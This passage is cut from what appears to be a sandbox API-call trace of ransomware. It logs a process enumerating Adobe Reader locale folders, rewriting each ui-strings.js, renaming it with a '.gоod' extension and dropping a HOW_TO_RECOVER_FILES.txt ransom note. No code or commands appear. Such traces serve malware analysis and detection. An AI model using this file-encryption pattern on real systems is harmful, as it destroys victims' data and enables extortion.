ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.349] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0181.349] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0181.349] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0181.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0181.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0181.350] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es", lpFilePart=0x0) returned 0x6a [0181.350] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.350] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.350] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0181.350] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0181.350] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0181.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0181.350] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0181.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0181.351] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x35e0468 | out: lpFileInformation=0x35e0468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2024)) returned 1 [0181.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0181.351] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0181.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0181.351] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0181.351] GetFileType (hFile=0x824) returned 0x1 [0181.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0181.351] GetFileType (hFile=0x824) returned 0x1 [0181.351] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0181.351] ReadFile (in: hFile=0x824, lpBuffer=0x35e0950, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35e0950*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0181.353] CloseHandle (hObject=0x824) returned 1 [0181.353] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0181.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0181.353] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0181.353] GetFileType (hFile=0x824) returned 0x1 [0181.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0181.353] GetFileType (hFile=0x824) returned 0x1 [0181.353] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x2024 [0181.353] WriteFile (in: hFile=0x824, lpBuffer=0x35e2c68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x35e2c68*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0181.354] CloseHandle (hObject=0x824) returned 1 [0181.354] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0181.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0181.354] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0181.355] GetFileType (hFile=0x824) returned 0x1 [0181.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0181.355] GetFileType (hFile=0x824) returned 0x1 [0181.355] ReadFile (in: hFile=0x824, lpBuffer=0x35e4f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x35e4f90*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0181.382] CloseHandle (hObject=0x824) returned 1 [0181.383] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0181.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0181.383] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0181.383] GetFileType (hFile=0x824) returned 0x1 [0181.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0181.383] GetFileType (hFile=0x824) returned 0x1 [0181.383] WriteFile (in: hFile=0x824, lpBuffer=0x35e3c80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x35e3c80*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0181.383] CloseHandle (hObject=0x824) returned 1 [0181.383] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0181.383] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0181.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0181.383] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6852fba3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2034)) returned 1 [0181.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0181.383] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js.gоod")) returned 1 [0181.384] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0181.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0181.384] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\es-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0181.531] GetFileType (hFile=0x630) returned 0x1 [0181.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0181.531] GetFileType (hFile=0x630) returned 0x1 [0181.532] WriteFile (in: hFile=0x630, lpBuffer=0x34eb0e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x34eb0e0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0181.533] CloseHandle (hObject=0x630) returned 1 [0181.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0181.533] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es", lpFilePart=0x0) returned 0x6a [0181.533] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.534] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.534] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0181.534] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0181.534] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0181.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0181.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0181.534] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es", lpFilePart=0x0) returned 0x6a [0181.534] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.535] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.535] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0181.535] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0181.535] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0181.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0181.535] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0181.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0181.535] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x34fad48 | out: lpFileInformation=0x34fad48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f56)) returned 1 [0181.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0181.535] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0181.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0181.536] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0181.536] GetFileType (hFile=0x630) returned 0x1 [0181.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0181.536] GetFileType (hFile=0x630) returned 0x1 [0181.536] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0181.536] ReadFile (in: hFile=0x630, lpBuffer=0x34fb230, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x34fb230*, lpNumberOfBytesRead=0x1ffebaa8*=0xf56, lpOverlapped=0x0) returned 1 [0181.547] CloseHandle (hObject=0x630) returned 1 [0181.547] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js", 